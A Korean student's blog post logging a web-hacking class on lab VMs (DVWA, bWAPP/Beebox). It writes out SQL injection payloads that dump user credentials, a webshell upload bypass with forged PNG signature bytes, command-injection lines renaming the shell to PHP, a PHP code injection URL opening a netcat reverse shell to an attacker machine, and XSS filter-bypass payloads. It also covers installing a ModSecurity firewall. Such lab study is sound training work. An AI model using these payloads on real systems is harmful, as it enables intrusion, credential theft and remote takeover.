* Today 일정
- DVWA 실습 마무리
- 웹방화벽 설치
- Beebox 실습
* Blind SQL Injection
- DB에 대한 정보가 없는 상태에서 SQL문을 조작해서 DB명, Table명, Column명 등을 알아내는 방법
- 에러가 힌트가 되기 때문에 오류를 일으키거나, 한글자씩 확인하는 방식 ---->자동화된 도구 사용 (SQL Lmap)
* Command Execution
- 검색창에 공격자는 검색을 하지 않는다, 리눅스 명령어를 실행하려고 함 ( Beebox에서 php코드 인젝션 )
실습준비 )
- VMware를 켜고 우분투~
* SQL injection 복습!!
- 목적 : 모든 사용자의 ID와 PW를 알아내는 것 ( 이미 구조를 다 알지만 모른다고 가정하자, 연습이기 때문! )
- SQLmap 사용 금지
참고 : https://manivers.tistory.com/55?category=1303266 (9월8일 웹해킹 5 UNION 실습한날)
3 ' UNION SELECT 1 #
3 ' UNION SELECT 1,2,3 #
3 ' UNION SELECT 1,2,3,4 #
3 ' UNION SELECT 1,2 # // 처음부터 1,2를 했으면 되는데 뭔가 3개 정도는 쓸거같아서 바로 3했다가 4해보고 이상하다 싶어서 다시 2로 돌아온 모습
3 ' UNION SELECT database(),2 #
3 ' UNION SELECT table_name,2 FROM information_schema.tables#
3' UNION SELECT TABLE_NAME,2 FROM information_schema.tables WHERE table_schema='dvwa'#
까지 하면
이렇게 나온다 ( 사실 앞에까지 많은 과정이 있었지만 시간이 충분치 않아서 사진은 생략.... )
컬럼 명을 알아내기 위한 구문
3' UNION SELECT column_name,2 FROM information_schema.columns WHERE table_schema='dvwa' AND table_name='users'#
아마 user_id에 아이디가 있을거같고 password에 비밀번호가 있을것 같다.
3' UNION SELECT user_id,password FROM users #
근데 이름이 유저_id 라 그런지 좀 이상하다 그냥 user인듯
3' UNION SELECT user,password FROM users #
미션 석섹스
PW는 hashs.com에 물어보면 되지만 귀찮아서 pass(word)
------------------------------------------------------------------------------------------------------------------------------------
* File Upload 복습!
참고 : https://manivers.tistory.com/54?category=1303266 ( 9월7일 웹해킹 4 파일업로드 실습 )
난 찐따니까 일단 뷰소스 먼저 확인..
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
대충 보니 사이즈 제한이 있고 확장자 제한이 있다.
내 기억에 이거 프록시로 플었음
프록시 다녀옵니다~
일단 성공~
방법은 프록시로 아무 사진,텍스트 등을 보내고 ( 텍스트 추천, 사진은 내용이 너무많아서 편집이 귀찮....)
그리고 제목을 php로 바꿔주고( 웹쉘과 같은 확장자 ) 내용도 웹쉘을 텍스트로 열어서 복사해서 붙여 넣어준다.
그리고 포워드~ 하면 성공~
이라고 생각했는데 확장자가 맞지 않는다고한다
프록시에 잘보면 확장가 나오는데 jpge로 속여서 보내면된다.
뭐라 써야할지 몰라서 사진 하나 보내고 양식을 복사해서 붙여넣었다~
* High로 가보자
난 찐따니까 또 뷰소스 부터 확인~
- strtolower : string을 모두 소문자로 변환하는 함수 ---> 대소문자 조작 불가
- 확장자 검증 : jpg 또는 jpeg,png만 가능
- AND 조건으로 100kbyes 이하만 가능
와 어렵다 이건
High Level
Once the file has been received from the client, the server will try to resize any image that was included in the request.
Spoiler: need to link in another vulnerability, such as file inclusion.
심지어 힌트를 봐도 뭔지 모르겠다
해설 )
* File Signature
- 파일의 정체성을 나타내는 부분
- 파일의 맨 앞부분에 특정한 표시를 함 ---->운영체제, Application에서 읽어들여서 파일이 어떤 파일인가 확인
- 갑자기 헥스 에디터를 다운받고 사진을 받아서 열었다
드래그한 부분이 PNG의 시그니처라고 한다.
JPG도 열어보자
JPG는 FF D8 FF E0로 시작한다
EXE파일은 MZ세대~
실습 )
일단 웹쉘의 확장자를 png 로 바꿔준다
그리고 헥스 에디터로 열어서 앞에다 png 의 시그니처를 붙여 넣어준다! ( 삽입으로 붙여넣기!)
저장하고 업로드!
하면 성공~!
이 아니라
실패
조금 더 많이 복사해야 한다고 하신다
이번엔 헥스를 89 50 4E 47 0D 0A 1A 0A 이렇게 넣어보자
다시 넣어보고~
프록시도 필요없다 바로 올리면 성공~
--------------------------------------------------------------------------------------------------------------------------------------------
그리고 경로를 따라가보면??
놀랍지 않게도 확장자가 맞지 않기때문에 제대로 실행되지 않는다
설명) 리눅스 명령어 mv 명령어를 이용해서 바꿔 주어야 함!
어제 했던 Command Injection 에서 mv명령어를 사용하면 될 것 같다.( 로우레벨에서 해도 된다고함! )
; mv ../../hackable/uploads/b374k-2.8.png ../../hackable/uploads/b374k-2.8.php
을 입력하면 된다!
처음엔 경로를 어케 해야할지 잘 몰라서
; mv b374k-2.8.png b374k-2.8.php
; mv ../../hackable/uploads/b374k-2.8.png b374k-2.8.php
뭐 이런식으로 해맸는데 정답은
; mv ../../hackable/uploads/b374k-2.8.png ../../hackable/uploads/b374k-2.8.php 였다
(리눅스 공부 다시 해야할듯; 리눅스 A+인데 2016년에 배워서 다 까먹었다!)
* 웹 방화벽
업데이트가 완료되면 왼쪽에 있는걸 한줄씩 쓰면된다! ( 중간에 붉은건 강사님이 이미 깔아놔서 안해도됨, 다른 환경에선 해야할듯 )
중간에 변경할 내용 하는법 ( 잘 했는지 모르겠다 )
다 했으면
리스타트 뭐시기 입력
Modsecurity Rules 다운로드 • 패턴매칭 방식이기 때문에 Signature(Rules)를 다운로드 해야 한다. cd ~ sudo wget https://github.com/coreruleset/coreruleset/archive/v3.3.0.tar.gz sudo tar xvf v3.3.0.tar.gz sudo mkdir /etc/apache2/modsecurity-crs/ sudo mv coreruleset-3.3.0/ /etc/apache2/modsecurity-crs/ cd /etc/apache2/modsecurity-crs/coreruleset-3.3.0/ sudo mv crs-setup.conf.example crs-setup.conf // example 제거
혹시모를 나중에 복붙을 위한 장치
현재 여기까지 완료~
---------------------------------------------------------------------------------------------------------------------------------------
DVWA에서 테스트 용으로 여태까지 잘 하던 SQL 인젝션에서 갑자기 403 Forbidden 이 떳다!
방화벽에게 막힌것!
굿~ 성공 ~
(잘 안되는 사람들이 많았던거 같은데 나는 이런 면에서 문제 생긴적은 없어서 다행이다....)
커맨드 인젝션에서 pwd나 w 등 몇개의 명령어는 입력이 가능했다! ( 나머지 의미있는 명령어는 거~의 안됨 )
--------------------------------------------------------------------------------------------------------------------------------------------------
실습 )
* 오랜만에 다시 돌아온 BeeBox~~~
* A1 : PHP Code Injection
주소 표시줄에 입력한 값을 반환하는 시스템
1단계 ) 리눅스 명령어를 실행시키려면?
( 구글에서 검색해 보아야 함 : php 명령어를 실행하는 함수 )
- 내가 구글링해서 찾은건 system()함수였다 ( https://blog.hoto.dev/41 )
pwd를 실행 한 모습
2단계 ) Kali 를 켜고 netcat을 이용해서 연결해보기
칼리(공격자 역할) 터미널에서 아래껄 입력해준다
나는 아래 사진처럼 넌센스로 888로 열어보았다 ㅋ
그리고 피해자역할의 beebox 가서 아래 주소를 입력해준다
http://192.168.5.130/bWAPP/phpi.php?message=system("nc 192.168.5.129 8888 -e /bin/sh")
붉은 부분의 리눅스 명령어를 보내는 것
(나는 888로 했다)
아래 사진처럼 연결이 성공 된 모습
참고 )
- 대부분의 리눅스에는 netcat이 있음...
- Android에도 들어있음 ( -e 옵션을 사용할 수 없음 )
이번엔 반대로 해보자 ( 공격자 / 피해자 역할은 같지만 누가 대기하냐만 바꿀뿐 )
정보가 털리기 위해 무한 대기중으로 들어간 bWAPP ( 칼리에서 연결을 끊으면 대기중이 풀린다 )
연결하고 ls 명령어를 입력 한 모습 성공~
----------------------------------------------------------------------------------------------------------------------------------------------------------
실습 ) A! : SQL Injection (GET/Select)
- serach 와는 달리 select 는 입력 창이 없다
- 어떻게 하면 ID와 PW를 알 수 있을까요?
일단 아무것도 입력할 수 있는게 없어 보이므로 주소표시줄을 공략 해야할 것 같다.
123 union select 1,login,password,4,5,6,7 from users // 그런데 따옴표와 #은 왜 안넣어도 되는지 모르겠다
조금은 찜찜한 성공~
실습 ) A3 : XSS - Reflected (GET)
1 ) Low
low는 그냥
<script>alert('마준 천재')</script>
이런식으로 스크립트 넣으면 바로 된다.
2 ) Medium
당연히 이전과 같은 방법으로는 안되고 아무 반응이 없다
이런걸 한번 해보자
<sc<script>ript>alert('마준 천재')</sc</script>ript>
하도 못풀어서 강사님이 힌트를 주시려는듯
터미널 들어가서 구조를 보려는중
medium 은 xss_check_4를 사용하고 있음!
그럼 addslaches() 함수가 뭔지 알아내보자
참고 ) addslaches() 함수는 ' , " , \ , NUL 앞에 \를 붙여서 Escape 처리를 하고있음 ( 출처 : php.net )
( Escape 처리란, 특수문자가 기능을 하지 못하도록 하는 것 )
그럼 아까 쓴 문장에서 저기에 포함되는게 뭐가있나?
<script>alert('마준 천재')</script>
보니까 마준 천재를 감싸고있는 ' 가 있는것 같다.
그럼 문자 말고 숫자로 한번 입력해보자
<script>alert(01095931234)</script>
어... 뭔가 조금 다르긴 하지만 일단 성공은 했다.
그럼 Shielders 를 출력하려면?
저번 시간에 배웠던 이걸 활용 하면 될 것 같다. ( 10진수를 넣으면 ASCII 로 변환 해주는 함수)
아스키를 10진수로 변환해주는 사이트 : https://ko.rakko.tools/tools/78/
<script>alert(String.fromCharCode(115,104,105,101,108,100,101,114,115))</script>
성공~~
------------------------------------------------------------------------------------------
상담하느라 초반 강의를 듣지 못했다
하지만 SKCT 합격했기때문에 너무 신난다~
지금 실습은 Too late 했기때문에 건너뛰고 다음 실습부터 진행해야지~ ( 복습 영상으로 확인 할 에정 )
근데 실습이 좀 기네....
이게 마지막 실습이었다....
'공부 > Application Security' 카테고리의 다른 글
9월13일 웹해킹 6 (2) | 2022.09.13 |
---|---|
9월 8일 웹해킹 5 (0) | 2022.09.08 |
9월7일 웹해킹 4 (0) | 2022.09.07 |
9월6일 웹해킹 3 (0) | 2022.09.06 |
9월 5일 웹해킹 2 (0) | 2022.09.05 |